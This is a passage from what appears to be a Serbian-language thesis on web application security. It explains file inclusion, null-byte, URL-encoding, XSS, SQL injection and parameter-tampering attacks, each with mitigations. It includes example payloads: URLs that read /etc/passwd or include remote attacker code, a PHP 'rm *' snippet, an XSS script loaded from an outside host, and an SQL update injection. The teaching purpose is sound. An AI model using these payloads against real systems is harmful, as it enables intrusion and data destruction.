Preko HTTP GET metoda, promenljiva $stranica se može postaviti na željenu vrednost.
http://www.primer.com/okvir.php?stranica=/etc/passwd

ili,
http://www.primer.com/okvir.php?stranica=http://nepoznato.com/kod.html,

pri čemu kod.html sadrži nekoliko linija koda koje mogu biti štetne na strani servera:
<?php
passthru ('rm *') ;
?>

U sljedećem primjeru uključena datoteka ne bi trebalo da zavisi od korisničkog unosa.

Promenljiva $libdir sadrži informaciju o direktorijumu u kojem su smeštene biblioteke, te
se postavlja negde ranije u kodu:
<?php
include ($libdir.'stil.php');
?>

Napadač može kroz delovanje na promenljivoj $libdir promeniti putanju u kojoj

će PHP interpreter tražiti datoteku stil.php. Napadač sada ima pristup datoteci stil.php,
ukoliko je promenio putanju tako da ona pokazuje na njegov lokalni sistem
http://www.nepoznato.com. Potrebno je napraviti datoteku stil.php i u nju zapisati kod
koji se želi izvršiti na udaljenom serveru. Kao primer može poslužiti sledeći deo koda:
<?php
passthru("/bin/ls /etc/passwd");
?>

Prilikom nailaska na funkciju include(), PHP interpreter će poslati HTTP zahtev

na adresu www.nepoznato.com, uključiti kod koji je napadač pripremio i izvršiti ga, što
će uzrokovati izlistavanje datoteke /etc/passwd na Web browseru napadača.

7.2.5.Nulti bajtovi

Iako se većina Web aplikacija razvija sa najraznovrsnijim programskim jezicima,

sve te aplikacije često prepuštaju podatke osnovnim (underlying) C-funkcijama radi dalje
obrade i fukcionalnosti. U slučaju da je string, npr. “AAA\0BBB” prihvaćen od Web
aplikacije (ili od strane specijalnog programskog jezika) kao validan string, on se može
skratiti osnovnom C-funkcijom. Ovo je moguće pošto C shvata nulti bajt (\0) kao
završetak stringa. Aplikacije koje ne vrše adekvatnu validaciju ulaznih podataka, mogu se
praveriti ubacivanjem nultih bajtova u “kritične” parametre. Ovo se obično postiže URL

32
kodiranjem nultih bajtova (%00). U specijalnim slučajevima moguće je koristiti unikod
karaktere.

Napadi se najčešće koristite za razotkrivanje fizičkih putanja, fajlova ili

informacija o operativnom sistemu, zaobilaženje provera validnosti, skraćivanje
stringova predatih SQL upitima, itd.

Najomiljeniji skriptovi i programski jezici za napad su:

-Perl (izuzetno),
-Java (File, RandomAccessFile i slične Java klase),
-PHP (u zavisnosti od konfiguracije).

Tehnike ublažavanja
Sprečavanje napada putem nultih bajtova podrazumeva da aplikacija proveri validnost
svih unetih podataka pre bilo kakvog daljeg rada na njima.

7.2.6.URL kodiranje

Kod standardnih Web aplikacija transfer podataka između klijenata i servera se

vrši upotrebom HTTP i HTTPS protokola. Postoje dva osnovna načina na koje server
prima ulazne podatke od klijenta, podaci mogu biti preneti u HTTP zaglavlju ili mogu biti
uključeni u deo upita traženog URL-a. Obe ove metode imaju odgovarajuće forme
ulaznih tipova (HTTP GET ili POST). Usled ovoga, manipulacija URL-a i manipulacija
formom su dve strane iste medalje. Podaci koji se dodaju URL-u moraju biti specijalno
kodirani da bi se poklapali sa URL sintaksom.

RFC 1738 specifikacija koja definiše URL-e (Uniform Resource Locator) i

specifikacija RFC 2396 za URI (Uniform Resource Identifier) ograničavaju dozvoljene u
URL i URI na podskup US-ASCII karaktera. Prema RFC 1738 specifikaciji “U URL-u se
nekodiranom obliku mogu koristiti jedino alfanumerici, specijalni karakteri "$-_.+!*'()," i
rezervisani karakteri, skladu sa svojom namenom”. Sa druge strane, Web aplikacije ne
ograničavaju i mogu biti predstavljene bilo kojim postojećim skupom karaktera, pa čak i
binarnim podacima. Ranije verzije HTML-a dopuštale su upotrebu celog ISO-8859-1
(ISO Latin-1) skupa karaktera; HTML 4.0 dozvoljavala je sve karaktere iz skupa Unikod
karaktera. URL kodiranje se vrši tako što se uzima osmobitni heksadecimalni kod datog
karaktera, te mu se dodaje prefiks u vidu znaka za procenat (“%”). Na primer, u US-
ASCII skupu karaktera predstava razmaka (space) decimalnim kodom iznosi 32, a
heksadecimalnim 20. Tako da je URL kodirana predstava %20.

Iako neki karakteri ne moraju biti URL kodirani, svaki osmobitni kod (npr.
decimalni 0-255, ili heksadecimalni 00-FF) može biti kodiran. Kontrolni karakteri iz
ASCII skupa npr. nulti karakter (NULL – decimalni kod 0) može biti URL kodiran, kao
što mogu biti kodirni i svi HTML entiteti i bilo koji meta karakteri koje koristi operativni
sistem i baza podataka. Pošto URL kodiranje dopušta da virtualno svaki podatak bude
prenesen serveru, Web aplikacija mora pri prijemu podataka da preduzme odgovarajuće

33
mere opreza. URL kodiranje može biti mehanizam za prikrivanje mnogih vrsta
malicioznog koda.

Cross Site Scipting primer

Izvod iz script.php
echo $HTTP_GET_VARS["mydata"];

HTTP zahtev:
http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22http%3a%

Generisani HTML:
<script src="http://www.yourserver.com/badscript.js"></script>

SQL Injection primer

Originalni upit baze podataka search.asp:

sql = "SELECT lname, fname, phone FROM usertable WHERE lname='" & Request.

HTTP odgovor:
http://www.myserver.c0m/search.asp?lname=smith%27%3bupdate%20usertable%

Izvršeni upit baze podataka:

SELECT lname, fname, phone FROM usertable WHERE lname='smith';update

Tehnike ublažavanja

Bezbednosne provere treba vršiti nakon što je dekodiranje završeno. Uobičajeno

je da sam Web server dekodira URL, te se ovaj problem može javiti i na samom Web
serveru.

34
7.3.Manipulacija parametrima
Manipulacija podacima koji se razmenjuju između browser-a i Web aplikacije bila
je dugo jednostavan ali efikasan način da se aplikacija natera da radi stvari koje ne bi
trebalo da budu dostupne običnom korisniku. U loše projektovanim Web aplikacijama
zlonamerni korisnici mogu da menjaju sesijske tokene ili vrednosti sadržane u cookie-
ima, pa čak i zaglavlja HTTP-a.

Nijedan podatak poslat browser-u ne može se smatrati neizmenjenim u odnosu na

originalni, sem u slučaju kada je kriptografski zaštićen na nivou aplikacije. Kriptografska
zaštita na transportnom nivou (SSL) ni na koji način ne štiti od napada, kao što su
manipulacija parametrima pri kojima se podaci pre slanja menjaju. Izmene parametara
često se mogu vršiti:
-cookie-ima,
-poljima forme,
-stringovima URL upita,
-HTTP zaglavljima.

7.3.1.Manipulacija Cookie-a

Cookie-ji su prioritetan metod održavanja stanja u HTTP protokolu, koji je

protokol bez stanja. Takođe se koriste kao zgodan mehanizam za skladištenje korisničkih
preferenci i drugih podataka uključujući i sesijske tokene. Bilo stalni ili ne-stalni,
bezbedni ili ne-bezbedni cookie-ji se mogu od strane klijenta menjati i slati serveru sa
URL zahtevom. Prema tome, svaki zlonamerni korisnik može izmeniti sadržaj cookie-ja u
svoju korist. Postoji česta zabluda, da se ne-stalni cookie-ji ne mogu menjati, što nije
tačno, pošto su alati poput Winhex-a lako dostupni. Isto tako SSL štiti cookie-je samo u
tranzitu. Prostor manipulacije cookie-ja zavisi toga za šta se cookie koristi, ali obično
obuhvata opseg od tokena sesija do nizova koji donose odluke o autorizaciji. (Mnogi
cookie-ji su Base64 kodirani, što je šema kodiranja koja ne pruža kriptografsku zaštitu).

Primer iz stvarnog života; turistički Web sajt

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Napadač može jednostavno da izmeni parametre cookie–ja u;

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;

Tehnike ublažavanja

Jedan od načina ublažavanja je da se jedan sesijski token koristi da ukazuje na

podatke skladištene na serverskoj memoriji. Ovo je najpouzdaniji način na koji se
obezbeđuje da su podaci pri povratku regularni; jednostavno zašto bi primali kao ulaz od
strane korisnika vrednosti koje već znamo. Aplikacija proverava svojstva korisnika tako
što provera korisnikov id sa odgovarajućom tabelom sesija i pokazuje na varijable

35
korisničkih podataka u kešu/bazi podataka. Ovo je najkorektnija metoda za očuvanje
korisničkih preferencija putem cookie-ja.

Sledeća tehnika podrazumeva izradu kopči (hooks) za detektovanje upada, koje će

pregledati da li cookie-ji sadrže neke neverovatne ili nemoguće vrednosti, što bi
ukazivalo na falsifikovanje. Na primer, ako je u Cookie-ju postavljen “administratorski”
fleg, dok korisnička id vrednost ne ukazuje na korisnika kao člana razvojnog tima.

Posledjna metoda spračavanja falsivikovanja cookie-ja, podrazumeva njihovo

kriptovanje.

7.3.2.Manipulacija HTTP zaglavljima

HTTP zaglavlja su kontrolne informacije koje se pri HTTP zahtevu prenose od

Web klijenata do Web servera, i pri HTTP odgovoru od Web servera do Web klijenata.

Primer zaglavlja iz HTTP POST zahteva:

Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49

HTTP zagljavlja najčešće koriste samo Web browser-i i Web serveri, dok većina
Web aplikacija ne obraća pažnju na njih. Međutim, neki Web projektanti se opredeljuju
za pregled dolaznih HTTP zaglavlja, a kako zagljavlja nastaju na klijentskoj strani,
moguće je da budu izmenjenog sadržaja.

Normalni Web browseri ne dopuštaju menjanje zaglavlja. Tako da će za izvođenje

HTTP zahteva, napadač morati da napiše svoj program (15 linija u Perl-u ili PHP-u).

Primer: Referer zagljavlje, koje šalje većina Web browsera, u opštem slučaju
sadrži URL stranice od koje je zahtev potekao. Neki Web sajtovi proveravaju ovakvo
zaglavlje da bi se uverili da je zahtev potekao sa neke od njihovih stranica. Veruje se da
ovaj postupak sprečava napadača da, na primer, snimi Web stranice, izmeni njihovu
formu i pošalje ih sa svog računara. Ovaj bezbednosni mehanizam će zakazati ako
napadač uspe da izmeni Referer zaglavlje, tako da izgleda isto kao da je poteklo sa
originalnog sajta.

Tehnike ublažavanja

Jednostavno rečeno, na zaglavlja se ne možemo osloniti bez dodatnih

bezbednosnih mera. Ako je zaglavlje nastalo na serverskoj strani (cookie), ono se može

36
zaštiti kriptografski. U slučaju kada je nastalo na strani klijenta (referer) ne bi ga trebalo
koristiti za donošenje bilo kakvih bezbednosnih odluka.

Za više informacija o zaglavljima pogledati RFC 2616 koje definiše HTTP 1/1.

7.3.3.Manipulacija poljima HTML formi

Kada korisnik napravi selekciju na HTML stranici, ta selekcija se obično smešta u

vrednosti polja forme i šalje aplikaciji kao HTTP zahtev (GET ili POST). HTML može da
skladišti vrednosti polja, kao skrivena (Hidden) polja. Ovakva polja browser ne prikazuje
na ekranu ali ih skuplja i podnosi kao parametre.Bilo da su ova polja sa unapred zadata
(padajući meniji, check box-ovi itd.), polja slobodne forme ili skrivena polja (Hidden
Fields), korisnik može da ih izmanipuliše, te da podnese vrednosti po svom izboru. U
većini slučajeva ovo jednostavan postupak. Stranica se snimi korišćenjem “view source”
opcije, zatim snimi, te se HTML izmeni i ponovo učita u browser.

Na primer, aplikacija koristi jednostavnu formu za podnošenje korisničkog imena

i lozinke i podnosi ih CGI-u radi autentifikacije, preko SSL-a koristeći HTML. Neki
projektanti sprečeavaju korisnika da unese predugačko korisničko ime i lozinku tako što
postave vrednost polja maxlength=(integer), u nadi da će time sprečiti zlonamernog
korisnika overflow bafera da unese suviše duge parametre. Međutim, zlonamerni korisnik
može jednostavmo da snimi stranicu, ukloni maxlength oznaku i ponovo učita stranicu u
svoj browser. Dalje su nam interesantni tipovi polja disabled, readonly i polja za unos
vrednosti. Kao što je već rečeno, podaci i kod poslati klijentima ne može se usvojiti kao
takav kao validni, pre provere tačnosti. Kod poslat browser-u je samo skup sugestija i
nema bezbednosnu vrednost.

Skrivena polja formi su projektantima jedan od najzgodnijih načina za smeštaj

podataka u browser i ujedno najčešći način razmene podataka između stranica i aplikacija
tipa wizard-a. Za skirvena polja važe ista pravila kao i za regularna polja.

Primer: Posmatrajmo istu aplikaciju. Iza forme za logovanje može da se nađe HTML
kod:
<input name="masteraccess" type="hidden" value="N">

Promenom skrivene vrednosti u Y, aplikacija će se logovati kao administrator.

Skrivena polja formi široko se koriste na najrazličitije načine, iako ona još uvek
predstavljaju slabu tačku aplikacije.

Tehnika ublažavanja

Umesto upotrebe skrivenih polja, projektant aplikacije može koristiti sesijski

token. Kada aplikacija treba da proveri korisničko svojstvo, ona proverava cookie sesije
sa tebelom sesija, te ukazuje varijable korisničkih podataka u kešu/bazi podataka. Ovo je
u mnogome pravilan način za prevazilaženje ovog problema.

37
 U slučaju da se tehnika upotrebe varijabli sesije na može primeniti, pripremili i
drugačiji pristup.

Parovi ime/vrednost u skrivenim poljima u formi, mogu se međusobno spojiti u

jedan string. Takvom stringu se dodaje i tajni ključ koji se nigde u formi ne pojavljuje.
Ovakav string se naziva Outgoing Form Message. Kada se forma podnosi dolazni par
ime/vrednost se ponovo spaja sa tajnim ključem u Incoming Form Message. Izračunava
se MD5 digest Incoming Form Message-a. Zatim se Incoming Form Digest poredi sa
Outgoing Form Digest-om (koji se podnosi sa formom) i ako se oni ne poklapaju, znači
da su skrivena polja izmenjena. Da bi se digest-i poklapli parovi ime/vrednost u Incoming
i Outgoing Form Message-u moraju biti sastavljeni istim redom u oba slučaja.

Ova tehnika može se upotrebiti i za spečavanje falsifikovanja parametara URL-a.

Prateći gore opisanu tehniku, dodatni digest parametar se može dodati stringovima URL
upita.

7.3.4.URL manipulacija

HTML forme mogu prenositi vrednosti unete u svoja polja koristeći jedan od
HTTP metoda, GET ili POST. U slučaju GET metoda sva imena elementa formi i njihove
vrednosti će se pojaviti u stringu upita sledećeg URL-a kojeg korisnik vidi u svom
browseru. Falsifikovanje sa skrivenim poljima formi je dosta lako, dok je falsifikovanje
sa stringovima upita još lakše. Korisnik treba samo da pogleda URL u polju za adresu
svog Web browsera.

Posmatrajmo sledeći primer: Web stranica dozvoljava autentifikovanom korisniku

da iz polja padajućeg menija izabere jedan od njegovih ranije unetih naloga i da nalog
zaduži fiksnom količinom nekih jedinica. Ovo je najčešći scenario. Korisnikov izbor se
beleži klikom na submit dugme. Stranica zapravo skladišti unos u vrednost polja i
podnodi je nakon submit naredbe. Naredba šalje sledeći zahtev:
http://www.victim.com/example?accountnumber=12345&debitamount=1

Zlonamerni korisnik može da napravi svoj broj računa i promeni parametre na

sledeći način:
http://www.victim.com/example?accountnumber=67891&creditamount=999999999

Novi parametri će biti poslati aplikaciji, koja će ih dalje obraditi. Ovo izgleda
trivijalno, ali se javilo kao problem u nekoliko čuvenih hakerskih napada uključujući i
onaj kada su hakeri za 25$ kupili avionske karte od Sjedinjenih Država do Pariza, i
odleteli da drže hakerski kongres.

38
 Na žalost, ovi problemi se ne javljaju samo kod HTML formi. Skoro sva
navigacija na internetu se odvija putem hiperlinkova. Kada korisnik klikne na hiperlink
da bi prešao sa jednog sajta na drugi, ili da bi se kretao unutar jedne iste aplikacije, on
zapravo šalje GET zahtev. Mnogi od ovih zahteva imaju stringove upita baš kao i forme.
Korisnik može jednostavno da pogleda u “Address” prozor svog browser-a i da izmeni
vrednosti parametara.

Tehnike ublažavanja

Najbolje rešenje je izbeći stavljanje parametara u stringove upita (ili skrivena

polja formi).

Pri slanju parametara od klijenta do servera potrebno im je dodati odgovarajući

sesijski token. Sesijski tokeni imaju svoje posebne bezbednosne aspekte, što je ranije već
opisano. U gore navedenom primeru, aplikacija ne bi trebalo da vrši promene računa bez
prethodne provere da li korisnik povezan sa datom sesijom ima pravo da menja parametar
računa “accountnumber” (broj računa). Skript koji obrađuje zaduženje na nekom računu
ne sme da pretpostavi da su odluke o kontroli pristupa donesene na predhodnim
stranicama aplikacije. Parametre treba obrađivati samo kada aplikacija može nezavisno
od predhodnih strana da potvrdi za čega su ti parametri i da su autorizovani za dalju
obradu.

Međutim, još jedan oblik falsifikovanja je prisutan u primeru. Razmotrimo slučaj

da se promenljiva creditamount poveća sa 1 na 999999999. Zamislite da korisnik ne
falsifikuje broj računa već samo iznos. Jasno je da ovakav parametar ne bi trebao da bude
prisutan u URL-u. Postoje dva razloga zašto parametar ne bi trebao da bude u URL-u (ili
u formi kao skriveno polje). Gore navedeni primer ilustruje prvi razlog – korisniku se ne
sme dozvoliti da postavlja vrednosti parametara. Drugi razlog je – korisniku se ne sme
dozvoliti da vidi vrednosti parametara. Lozinke su dobar primer prethodnog. Korisnik ne
sme da vidi ni svoju lozinkui u obliku URL, zato što neko ko stoji iza može da je vidi, a i
browseri beleže posećene URL-ove u history-ju.

Ako neki osetljivi parametar ne može biti izuzet i URL-a, on se mora kriptografski
zaštititi. Kriptografska zaštita može se primeniti na dva načina. Bolji način je kriptovanje
celog stringa upita (ili vrednosti skrivenih polja forme). Ova tehnika sprečava korisnika
da vidi i da menja vrednosti parametara. Druga forma kriptografske zaštite je dodavanje
dodatnog parametra čija vrednost je MD5 digest stringa upita URL-a (ili skrivenih polja
forme). Više detalja o ovoj tehnici dato je u odeljku Manipulacija poljima HTML formi.
Ova tehnika ne sprečava korisnika da vidi vrednost URL-a, ali sprečava njegovu izmenu.

39
7.4.Ostali načini manipulacije

7.4.1.Konfiguracija sistema

Serverski softver je često kompleksan, i za njegovo pravilno konfigurisanje

potrebno je dobro poznavanje kako upotrebljenih protokola tako i njihovog načina rada.
Na žalost, sam softver sa svojim default konfiguracijama čini ovaj zadatak mnogo težim,
pošto su ovakve konfiguracije mnogo ranjivije. Često se po default-u instaliraju razni
sempl fajlovi i direktorijumi, koji mogu napadaču da pruže gotove napade, u slučaju da
sempl fajlovi sadrže probleme. Dok mnogi distributeri sugerišu uklanjanje ovakvih
fajlova, oni zapravo prebacuju brigu o bezbednosti procesa instalacije na leđa korisnika
date aplikacije. Malo je distributera koji pokušavaju da na svoje aplikacije postave
bezbedne default konfiguracije. Ovako obezbeđeni sistemi se pokazuju mnogo manje
ranjivi u slučajevima uobičajenih napada.

Ako distributeri nude alate za upravljanje i obezbeđivanje procesa instalacije

vašeg sofvera, ne bi bilo loše proceniti takve alate. Međutim, ovakvi alati nikada neće
moći u potpunosti da zamene poznavanje sistema i načina na koji je sistem projektovan
da radi.

Sistemi koj se danas koriste sastoje se od više softverskih nivoa, tako da sistem
može biti izložen napadu sa strana koje je teško ili nemoguće predvideti. Upravljanje
konfiguracijom ma koliko bilo bitno, i dalje je je teško za pravilnu upotrebu. Kako se
konfiguracije i faktori u okruženju menjaju u toku vremena, sistem koji je nekada bio
dobro zaštićen, može u postati slaba karika sistema bez ikakvih indikacija o povećanom
riziku. Organizacije moraju prihvatiti da je upravljanje konfiguracijom stalan proces, te
da se ne može jednom uraditi i tako ostaviti. Efikasno upravljanje konfiguracijom je prvi
u postavljanju preduslova koji će omogućiti pouzdan rad sistema i u slučaju višestrukih
napada.

7.4.2.Komentari u HTML

Komentari koji se nalaze u izvornim kodovima čine kod čitljivijim i pomažu

programerima pri procesu dokumentacije. Praksa stavljanja komentara nastavljena je i pri
projektovanju HTML stranica, koje se šalju klijentovom browser-u. Kao posledica,
informacije o strukturi Web sajta ili informacije namenjenih vlasnicima sistema ili
članovima razvojnog tima, mogu nepažnjom biti otkrivene. Komentari nekad potiču iz
razvojne faze HTML-a i mogu sadržavati informacije o otklanjanju grešaka, strukturama
cookie-ja, problemima vezanim za razvoj, pa čak i imena članova razvojnog tima, sa
email-ovima i telefonskim brojevima.

Strukturni komentari – se javljaju u HTML kodu, obično na početku stranice ili

između JavaScript-a i ostatka HTML-a, pogotovo kada je na razvoju sajta radio veći tim
duže vreme.

40
 Automatski komentari – mnoge alatke za generisanje stranica, kao i Web softver
često u HTML automatski dodaju komentare u vidu potpisa. Ovakvi kometari
obaveštavaju napadača o konkretnim sofverskim paketima () koji se koriste na sajtu.
Ranjivosti poznate za pronađene pakete tada se mogu isprobati i na samom sajtu.

Nestrukturni kometari – su oni koje ostavljaju programeri za podsećanje za vreme

razvoja aplikacije. Kako ovakvi komentari nisu ni na koji način kontrolisani, oni
predstvaljaju veliku opasnost. Komentari kao što su “Sledeće skriveno polje mora biti
postavljeno na 1 ili se XYZ.asp raspada” ili “Ne menjati raspored polja u tabeli” su za
potencijalnog napadača znak da obrati pažnju. Na žalost, ovakvi komentari nisu retkost.

Tehnike ublažavanja

Za većinu komentara biće dovoljan jednostavan filter, koji skida komentare pre
nego što je stranica predata serveru. Za automatske komentare verovatno je potreban
aktivni filter.

7.4.3.Stari, bekapovani i fajlovi bez reference

Numerisanje fajlova/aplikacija je opšta tehnika koja se koristi u potrazi za

fajlvima ili aplikacija koje se mogu upotrebiti ili biti korisne za konstrisanje napada. Ovo
uključuje poznate ranjive fajlove i aplikacije, nereferisani fajlovi aplikacije, kao i bekap
temp fajlovi.

Numeracija fajlova/aplikacija koristi kodove odgovora HTTP servera da bi

ustanovili da li fajl ili aplikacija postoje. Web server će vratiti HTTP 200 kod ako fajl
postoji i HTTP 404 kod ako dati fajl ne postoji. Ovo omogućuje korisniku da napravi
svoju listu poznatih ranjivih fajlova i sumnjivih aplikacija, ili nekom osnovnom logikom
mapira fajlove i strukturu aplikacije vidljivu sa nivoa prezentacije.

Skriveni/nereferisani fajlovi – mnogi administratori Web sajtova na serveri

ostavljaju fajlove kao što su semlp faljovi ili fajlovi koji se instaliraju po default-u. Kada
se Web sadržaj objavi, ovi fajlovi ostaju dostupni iako nijedan HTML na Web-u ne
upućuje (referiše) na njih. Mnogi od ovih fajlova su zastrašujuće opasni, i mogu
pokazivati kako se, na primer, fajlovi upotrebom Web interfejsa uploauduju. Ako je
napadač u stanju da pogodi takav URL, on automatski ima pristup takvom resursu.

Tehnike ublažavanja

Uklonite sve sempl fajlove sa vašeg Web servera. Postarajte se da su svi neželjeni
i nepotrebni fajlovi budu uklonjeni. Jednostavna pretraga za fajlovima određenih
ekstenzija koje nisu eksplicitno dozvoljene može biti veoma efikasna.

41
 Neki Web serveri/aplikacije koje izrađuju dinamičke stranice neće poslati 404
poruku browser-u, već će umesto nje učitati stranicu kao što je mapa sajta, na primer.
Ovo zbunjuje osnovne skenere, tako da pomisle da traženi fajl postoji. Moderne skenere
ranjivosti, međutim ova tehnika samo usporava.

7.4.4.Debug naredbe

Debug naredbe se javljaju u dve odvojene forme.

Eksplicitne naredbe – koje se nalaze u kodu ili se mogu uvesti kao deo URL-a, koji
ukazuje serveru da pređe u debug mod. Naredbe kao “debug=on” ili “Debug=YES”
mogu se naći u URL-u na sledeći način:

http://www.someWebsite.com/account_check?ID=8327dsddi8qjgqllkjdlas&Disp=no ,

i izmeniti u:
http://www.someWebsite.com/account_check?debug=on&ID=8327dsddi8qjgqllkjdlas&Disp

Napadač dalje posmatra ponašanje servera. Debug konstrukcija se može naći

unutar HTML koda ili JavaScript-a kada se forma vraća serveru jednostavnim
dodavanjem linijskog elementa u konstrukciju forme. Rezultat je isti kao u slučaju
predhodnog napada.

Implicitne naredbe – naizgled bezopasni elementi stranice, u slučaju izmene mogu

imati nesagledive posledice po server. Osnovna namena ovakvih elemenata je bila da
pomogne programeru pri modifikovanju sistema kroz različita stanja da bi se vreme
potrebno za testiranje skratilo. Ovim elementima su po pravilu data nejasna imena, kao
što su “fubarl” ili “mycheck” itd. Ovakvi elementi se u kodu mogu pojaviti kao:
<!-- begins -->
<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>>
<FORM METHOD=POST ACTION="http://some_poll.com/poll?1688591"
TARGET="sometarget" <INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122">
<!-- Question 1 -->
<TR>
<TD align=left colspan=2>
<INPUT TYPE=HIDDEN NAME="Question" VALUE="1">
<SPAN class="Story">

Pronalaženje debug elementa nije jednostavno, ali kada se jednom pronađe

uobičajeno je da ga hakeri isprobaju po celom Web sajtu. Kako projektanti nisu
predvideli da ove naredbe koriste obični korisnici, mere predostrožnosti obično nisu
preduzete.

42
7.4.5.Default (inicijalni) nalozi

Mnoge Web aplikacije inicijalno (po defalut-u) obično imaju najmanje jednog
aktivnog korisnika. Takav korisnik, obično administrator sistema ima standardnu lozinku.
Sistem može biti kompromitovan ukoliko napadač koristi ovaj tip naloga.

Web aplikacije omogućavaju višestruke default naloge kao što su:

-administratorski nalozi,
-test nalozi,
-gost nalozi.

Ovakvim nalozima može se pristupiti sa Web-a bilo standardnim pristupom za sve

definisane naloge, bilo sa specijalnog porta ili dela aplikacije, kao što su administratorske
stranice. Default nalozi obično dolaze sa ranije konfigurisanim default lozinkama koje su
opšte poznate. Štaviše, većina aplikacija ne insistira na promeni istih.

Napad na ovakvim default nalozima može da se pojavi na dva načina:

- pokušaj da se upotrebi default korisničko ime/lozinka pod prepostavkom da oni nisu

promenjeni nakon default instalacije,
- isprobavanjem brojeva preko lozinke u slučaju da je poznato samo ime naloga.

Jednom kada je lozinka unešena ili pogođena, napadač ima pristup sajtu u skladu
sa ovlašćenjima naloga, što dalje vodi u najčešće dva pravca:

- ako je pomenuti nalog bio administratorski napadač tada ima delimičnu ili potpunu
kontrolu nad aplikacijom (ponekad i nad celim sajtom) sa mogućnošću bilo kakve
zlonamerne radnje,
- ako je u pitanju bio demo ili test nalog, napadač će ovakav naolog iskoristiti kao
sredstvo pristupa i zloupotrebe logike aplikacije i koristiti ga u cilju unapređenja napada.

Tehnike ublažavanja

Izmenuti standardna podešavanja vezana za instalaciju aplikacije. Uklonite sve

nepotrebne naloge, pratite bezbednosne liste kako distributerske, tako i javne.

43
 8.PROBLEMI PRIVATNOSTI
Ovo poglavlje bavi se privatnošću korisnika. Sistem koji sadrži podatke o
korisniku koji su lične prirode, kao što su brojevi socijalnog osiguranja, telefonski
brojevi, zdravstveni kartoni, kao i detalje o računima, moraju biti dodatno obezbeđeni, u
cilju osiguranja privatnosti korisnika. U nekim zemljama i nekim okolnostima, postoje
zakonske regulative o zaštiti privatnosti korisnika.

8.1.Opasnosti pri upotrebi javnih Web browser-a

Svi sistemi treba jasno i stalno da upozoravaju korisnike o opasnostima upotrebe
zajedničkih računara, kao što su oni u bibliotekama i internet kafeima. Upozorenje treba
da upozna korisnike sa sledećim:
-stranice mogu ostati sačuvane u history-u browsera,
-preporučljivo je odjavljivanje sa aplikacije (logout) i gašenje browsera, da bi se
izbrisali svi cookie-i od predhodne sesije,
-moguće je da temp fajlovi ostanu u računaru,
-proxy serveri i LAN korisnici mogu presresti podatke koji se razmenjuju.

Sajtove ne treba projektovati sa pretpostavkom da je bilo koji deo klijenta

bezbedan, i treba praviti bilo kakve pretpostavke u vezi integriteta.

8.2.Upotreba ličnih podataka

Sistem treba obezbediti tako da lične podatke prikazuje samo kada su oni
apsolutno neophodni. Brojevi računa, lična imena, korisnička imena, brojevi socijalnog
osiguranja i druge specifične podatke trebalo bi uvek maskirati (ako je broj računa
123456789, aplikacija bi trebalo da broj prikaže kao *****6789), osim ako njihov prikaz
nije apsolutno neophodan. Samo lična imena ili nadimke bi trebalo prikazivati na mestu
imena, a brojne identifikatore treba prikazivati samo delom.

Kada je prikaz podataka na stranici neophodan trebalo bi :

-podesiti stranicu na pre-expire,
-postaviti no-cache meta opciju,
-postaviti no-cache-pragma meta opciju,
-kristiti SSL ili TLS.

Ovo pruža korisniku veliku fleksibilnost pri upotrebi sigurnih hostova kako na
ličnom tako i na zajedničkom računaru.

8.3.Opcija «Browser History»

Sistem treba da obezbedi da se osetljivi podaci ne vide u korisnikovom browser
history-ju.
-Sve forme trebalo bi podnositi upotrebom HTTP POST zahteva.

44
9. ZAKLJUČAK

U ovom radu predstavljeni su osnovni koncepti bezbednosti Web aplikacija, kao i

realizacija tipične aplikacije za timski rad na projektima zasnovane na PHP tehnologiji,
na koju su primenjeni ovi koncepti.

Ovo je bio kratak pregled problema sa kojima se suočava svaki Web programer.
Pomenuti su samo najvažniji problemi, ali mogućnosti za greške ima mnogo. Reći da ne
treba verovati ulaznim podacima je lako, ali je daleko veći problem poštovati ovo
jednostavno pravilo u praksi.

Pri izradi Web aplikacija veoma je bitno odrediti koji je stepen bezbednosti
potreban. Potrebno je pronaći balans između parametara bezbednosti, funkcionalnosti,
cene i performansi. Povećanje sigurnosti može dovesti do smanjenja funkcionalnosti
aplikacije (npr. ograničava se broj korisnika), kao i do smanjenja performasi.

Pri posmatranju lista najvećih bezbednosnih problema, primećuje se da skoro svi

direktno zavise od kompetentnosti programera koji proizvode softver. Suština je u tome
da je Web zapravo skup desetina različitih tehnologija koje se izvršavaju na različitim
platformama, što znači da se radno iskustvo ničim ne može zamenuti. Dakle, potrebno je
detaljno poznavati svaki deo sistema od kojeg se sastoji Web aplikacija, što nije lak
zadatak. Svaki programer koji se bavi razvojem Web aplikacija trebalo bi da, pored
poznavanja tehnologije sa kojom radi, prati redovno sve novosti, mailing liste, forume i
iskustva drugih programera vezana za bezbednost.

45
10. LITERATURA

1."A Guide to Building Secure Web Applications" - The Open Web Application
Security Project; Mark Curphey, David Endler, William Hau, Steve Taylor, Tim
Smith, Alex Russell, Gene McKenna, Richard Parke, Kevin McLaughlin, Nigel
Tranter, Amit Klien, Dennis Groves, Izhar By-Gad, Sverre Huseby, Martin Eizner,
Martin Eizner, and Roy McNamara; OWASP 2002.
2.Tehnički članci "CERT – Coordination Center" Carnegie Mellon Software
Engineering Institute; www.cert.org
3."Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari,
Bryan Waters, Daniel Solin, Jon Stephens, Lee Reynolds; Wrox Press 2003.
4."Criptography and Network Security: Principles and Practice"; William
Stallings; Prentice-Hall, Inc. Upper Saddle River, New Jersey 1998.

46
REČNIK
ADOdb library – database biblioteka. PHP funkcije za pristup bazama podataka nisu
standardizovane. To stvara potrebu za database bibliotekom da smanji razlike između
različitih database API-a, da bi sa lakoćom menjali baze podataka. ADOdb trenutno
podržava MySQL, Oracle, Microsoft SQL Server, Sybase, Sybase SQL Anywhere,
Informix, PostgreSQL, FrontBase, Interbase (Firebird i Borland varijante), Foxpro,
Access, ADO i ODBC.

Antivirusni program (AV program), program sposoban da detektuje viruse i "očisti" ih

sa sistema.

Browser (Web browser) - uslužni program koji korisniku pruza prikazivanje, interakciju i
komunikaciju sa Web stranicom. Postoje one koje podrzavaju samo text i druge koji
podrzavaju text, grafiku i ostalo...

CA – certifikaciono telo ili autoritet od poverenja. (Pogledati www.verisign.com i

